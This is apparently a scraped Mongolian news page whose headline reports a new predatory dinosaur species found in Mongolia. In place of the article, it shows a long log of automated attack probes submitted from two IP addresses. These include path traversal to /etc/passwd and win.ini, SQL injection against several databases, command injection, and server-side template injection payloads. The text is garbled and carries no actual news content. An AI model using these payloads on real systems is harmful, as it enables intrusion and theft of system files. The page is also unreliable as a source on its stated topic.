Монголоос шинэ төрөл зүйлийн махчин үлэг гүрвэлийн үлдэгдэл олджээ

../../../../WEB-INF/web.xml;admin 185.234.72.114 491 өдөр
123456
../../../../WEB-INF/web.xml 185.234.72.114 491 өдөр
123456
../../../WEB-INF/web.xml;admin 185.234.72.114 491 өдөр
123456
../../../WEB-INF/web.xml 185.234.72.114 491 өдөр
123456
../../WEB-INF/web.xml;admin 185.234.72.114 491 өдөр
123456
../../WEB-INF/web.xml 185.234.72.114 491 өдөр
123456
../WEB-INF/web.xml;admin 185.234.72.114 491 өдөр
123456
../WEB-INF/web.xml 185.234.72.114 491 өдөр
123456
WEB-INF/web.xml;admin 185.234.72.114 491 өдөр
123456
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',9)='u 185.234.72.114 491 өдөр
123456
WEB-INF/web.xml 185.234.72.114 491 өдөр
123456
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',0)='y 185.234.72.114 491 өдөр
123456
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini 185.234.72.114 491 өдөр
123456
admin'and(select+1)>0waitfor/**/delay'0:0:9 185.234.72.114 491 өдөр
123456
admin'and(select+1)>0waitfor/**/delay'0:0:0 185.234.72.114 491 өдөр
123456
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini 185.234.72.114 491 өдөр
123456
admin'/**/and(select'1'from/**/pg_sleep(9))::text>'0 185.234.72.114 491 өдөр
123456
../../../../../../Windows/win.iniadmin 185.234.72.114 491 өдөр
123456
admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 185.234.72.114 491 өдөр
123456
./../../../../../../Windows/win.ini 185.234.72.114 491 өдөр
123456
admin"and(select*from(select+sleep(9))a/**/union/**/select+1)=" 185.234.72.114 491 өдөр
123456
../../../../../../Windows/win.ini 185.234.72.114 491 өдөр
123456
admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 185.234.72.114 491 өдөр
123456
admin'and(select*from(select+sleep(9))a/**/union/**/select+1)=' 185.234.72.114 491 өдөр
123456
admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 185.234.72.114 491 өдөр
123456
admin'"\( 185.234.72.114 491 өдөр
123456
admin"and"u"="x 185.234.72.114 491 өдөр
123456
admin鎈'"\( 185.234.72.114 491 өдөр
123456
admin"and"x"="x 185.234.72.114 491 өдөр
123456
admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1806595301')))>'0 185.234.72.114 491 өдөр
123456
admin'and'a'='m 185.234.72.114 491 өдөр
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1400908574'))) 185.234.72.114 491 өдөр
123456
admin'and'o'='o 185.234.72.114 491 өдөр
123456
../../../../../../../../../../../../../../../../../../Windows/win.iniadmin 185.234.72.114 491 өдөр
123456
admin/**/and/**/cast(md5('1092504336')as/**/int)>0 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',9)='d
./../../../../../../../../../../../../../../../../../../Windows/win.ini 185.234.72.114 491 өдөр
123456
admin'and(select'1'from/**/cast(md5(1496759542)as/**/int))>'0 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n
../../../../../../../../../../../../../../../../../../Windows/win.ini 185.234.72.114 491 өдөр
123456
extractvalue(1,concat(char(126),md5(1829210673))) 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('y',9)
admin"and/**/extractvalue(1,concat(char(126),md5(1562064052)))and" 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('s',0)
%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini 185.234.72.114 491 өдөр
123456
admin'and/**/extractvalue(1,concat(char(126),md5(1372961024)))and' 185.234.72.114 491 өдөр
123456
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'"\(
admin 185.234.72.114 491 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:9
admin 185.234.72.114 491 өдөр
123456鎈'"\(
..\..\..\..\..\..\Windows\win.iniadmin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin 185.234.72.114 491 өдөр
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1391533313')))>'0
admin 185.234.72.114 491 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:9'/**/
.\..\..\..\..\..\..\Windows\win.ini 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1169717838')))
admin 185.234.72.114 491 өдөр
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
..\..\..\..\..\..\Windows\win.ini 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456/**/and/**/cast(md5('1878265035')as/**/int)>0
admin 185.234.72.114 491 өдөр
123456'/**/and(select'1'from/**/pg_sleep(9))::text>'0
admin 185.234.72.114 491 өдөр
123456'and(select'1'from/**/cast(md5(1488820356)as/**/int))>'0
admin 185.234.72.114 491 өдөр
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin 185.234.72.114 491 өдөр
extractvalue(1,concat(char(126),md5(1747167980)))
admin 185.234.72.114 491 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(9))>0/**/
admin 185.234.72.114 491 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin 185.234.72.114 491 өдөр
123456"and/**/extractvalue(1,concat(char(126),md5(1825849366)))and"
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.iniadmin 185.234.72.114 491 өдөр
123456
.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456"and(select*from(select+sleep(9))a/**/union/**/select+1)="
admin 185.234.72.114 491 өдөр
123456'and/**/extractvalue(1,concat(char(126),md5(1303549980)))and'
admin 185.234.72.114 491 өдөр
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin 185.234.72.114 491 өдөр
123456'and(select*from(select+sleep(9))a/**/union/**/select+1)='
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin 185.234.72.114 491 өдөр
(select*from(select+sleep(9)union/**/select+1)a)
expr 997658070 + 868067812 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
#set($c=833474069+809431241)${c}$c
%u2215etc%u2215passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
(select*from(select+sleep(0)union/**/select+1)a)
%2fetc%2fpasswd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
admin&set /A 947501164+847625577 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
/etc/passwdadmin 185.234.72.114 491 өдөр
123456
admin$(expr 922444650 + 835234957) 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456"and"u"="u
/etc/passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456"and"s"="s
admin|expr 961845558 + 811287663 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
${(979507234+957930140)?c}
admin 185.234.72.114 491 өдөр
${826867433+843202760}
admin 185.234.72.114 491 өдөр
/*1*/{{859917558+807206785}}
admin expr 833288128 + 974250474 185.234.72.114 491 өдөр
123456
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'and'l'='n
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456'and'e'='e
./../../../../../../etc/passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456/**/and+3=7
admin 185.234.72.114 491 өдөр
hdoqectonhwefqscefav
admin 185.234.72.114 491 өдөр
expr 990468359 + 989161049
../../../../../../etc/passwdadmin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456/**/and+4=4
'-var_dump(md5(153960602))-' 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456&set /A 853066076+888455326
../../../../../../etc/passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456$(expr 821506782 + 953209939)
<%- 844744393+847874375 %> 185.234.72.114 491 өдөр
123456
${@var_dump(md5(609010340))}; 185.234.72.114 491 өдөр
123456
#set($c=850890654+901252905)${c}$c 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
${817059978+818167896} 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456|expr 981804284 + 888928583
admin 185.234.72.114 491 өдөр
123456 expr 856580023 + 869649984
hdoqectonhwefqscefav 185.234.72.114 491 өдөр
123456
${(892782939+861035571)?c} 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
'-var_dump(md5(520196118))-'
admin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
${868447267+866917553}
admin 185.234.72.114 491 өдөр
123456
./../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 491 өдөр
123456
${819890814+844923985} 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
../../../../../../../../../../../../../../../../../../etc/passwdadmin 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
${@var_dump(md5(307786171))};
admin 185.234.72.114 491 өдөр
123456
/*1*/{{838617789+995255490}} 185.234.72.114 491 өдөр
123456
../../../../../../../../../../../../../../../../../../etc/passwd 185.234.72.114 491 өдөр
123456
admin 185.234.72.114 491 өдөр
123456
../../../../WEB-INF/web.xml;admin 194.163.191.42 492 өдөр
123456
../../../../WEB-INF/web.xml 194.163.191.42 492 өдөр
123456
../../../WEB-INF/web.xml;admin 194.163.191.42 492 өдөр
123456
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',17)='y 194.163.191.42 492 өдөр
123456
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)='a 194.163.191.42 492 өдөр
123456
../../../WEB-INF/web.xml 194.163.191.42 492 өдөр
123456
../../WEB-INF/web.xml;admin 194.163.191.42 492 өдөр
123456
admin'and(select+1)>0waitfor/**/delay'0:0:17 194.163.191.42 492 өдөр
123456
../../WEB-INF/web.xml 194.163.191.42 492 өдөр
123456
admin'and(select+1)>0waitfor/**/delay'0:0:0 194.163.191.42 492 өдөр
123456
../WEB-INF/web.xml;admin 194.163.191.42 492 өдөр
123456
../WEB-INF/web.xml 194.163.191.42 492 өдөр
123456
admin'/**/and(select'1'from/**/pg_sleep(17))::text>'0 194.163.191.42 492 өдөр
123456
WEB-INF/web.xml;admin 194.163.191.42 492 өдөр
123456
admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 194.163.191.42 492 өдөр
123456
WEB-INF/web.xml 194.163.191.42 492 өдөр
123456
admin"and(select*from(select+sleep(17))a/**/union/**/select+1)=" 194.163.191.42 492 өдөр
123456
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215Windows%u2215win%u002eini 194.163.191.42 492 өдөр
123456
admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" 194.163.191.42 492 өдөр
123456
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fwin%2eini 194.163.191.42 492 өдөр
123456
admin'"\( 194.163.191.42 492 өдөр
123456
../../../../../../Windows/win.iniadmin 194.163.191.42 492 өдөр
123456
admin'and(select*from(select+sleep(17))a/**/union/**/select+1)=' 194.163.191.42 492 өдөр
123456
./../../../../../../Windows/win.ini 194.163.191.42 492 өдөр
123456
admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' 194.163.191.42 492 өдөр
123456
admin鎈'"\( 194.163.191.42 492 өдөр
123456
../../../../../../Windows/win.ini 194.163.191.42 492 өдөр
123456
admin"and"s"="u 194.163.191.42 492 өдөр
123456
admin"and"u"="u 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(17))>0/**/
admin'and'q'='u 194.163.191.42 492 өдөр
123456
admin'and'i'='i 194.163.191.42 492 өдөр
123456
admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1808245989')))>'0 194.163.191.42 492 өдөр
123456
admin/**/and/**/cast(md5('1512565791')as/**/int)>0 194.163.191.42 492 өдөр
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1738401148'))) 194.163.191.42 492 өдөр
123456
../../../../../../../../../../../../../../../../../../Windows/win.iniadmin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
./../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456"and(select*from(select+sleep(17))a/**/union/**/select+1)="
../../../../../../../../../../../../../../../../../../Windows/win.ini 194.163.191.42 492 өдөр
123456
admin'and(select'1'from/**/cast(md5(1799972489)as/**/int))>'0 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
extractvalue(1,concat(char(126),md5(1284847425))) 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456'and(select*from(select+sleep(17))a/**/union/**/select+1)='
admin"and/**/extractvalue(1,concat(char(126),md5(1870515040)))and" 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin'and/**/extractvalue(1,concat(char(126),md5(1383585406)))and' 194.163.191.42 492 өдөр
123456
%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216%u002e%u002e%u2216Windows%u2216win%u002eini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
(select*from(select+sleep(17)union/**/select+1)a)
admin 194.163.191.42 492 өдөр
123456'"\(
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin%2eini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
(select*from(select+sleep(0)union/**/select+1)a)
admin 194.163.191.42 492 өдөр
123456"and"v"="f
admin 194.163.191.42 492 өдөр
123456鎈'"\(
..\..\..\..\..\..\Windows\win.iniadmin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456"and"f"="f
.\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1260450103')))>'0
..\..\..\..\..\..\Windows\win.ini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1695890153')))
admin 194.163.191.42 492 өдөр
123456'and'i'='s
admin 194.163.191.42 492 өдөр
123456/**/and/**/cast(md5('1075349274')as/**/int)>0
admin 194.163.191.42 492 өдөр
123456'and'c'='c
admin 194.163.191.42 492 өдөр
123456'and(select'1'from/**/cast(md5(1513368662)as/**/int))>'0
admin 194.163.191.42 492 өдөр
extractvalue(1,concat(char(126),md5(1687933748)))
admin 194.163.191.42 492 өдөр
123456/**/and+0=7
admin 194.163.191.42 492 өдөр
123456"and/**/extractvalue(1,concat(char(126),md5(1643662148)))and"
admin 194.163.191.42 492 өдөр
123456/**/and+1=1
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.iniadmin 194.163.191.42 492 өдөр
123456
.\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456'and/**/extractvalue(1,concat(char(126),md5(1033592867)))and'
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini 194.163.191.42 492 өдөр
123456
%u2215etc%u2215passwd 194.163.191.42 492 өдөр
123456
%2fetc%2fpasswd 194.163.191.42 492 өдөр
123456
/etc/passwdadmin 194.163.191.42 492 өдөр
123456
/etc/passwd 194.163.191.42 492 өдөр
123456
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd 194.163.191.42 492 өдөр
123456
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
./../../../../../../etc/passwd 194.163.191.42 492 өдөр
123456
../../../../../../etc/passwdadmin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
../../../../../../etc/passwd 194.163.191.42 492 өдөр
123456
admin$(expr 942483472 + 813506868) 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
${@var_dump(md5(845803874))};
${950009902+969160369} 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
./../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
${953789475+934971275}
admin 194.163.191.42 492 өдөр
123456
../../../../../../../../../../../../../../../../../../etc/passwdadmin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
rkjjdofcidxdkdikijkt 194.163.191.42 492 өдөр
123456
admin|expr 912892455 + 937420610 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
rkjjdofcidxdkdikijkt
admin expr 934778057 + 817365932 194.163.191.42 492 өдөр
123456
../../../../../../../../../../../../../../../../../../etc/passwd 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456
admin 194.163.191.42 492 өдөр
123456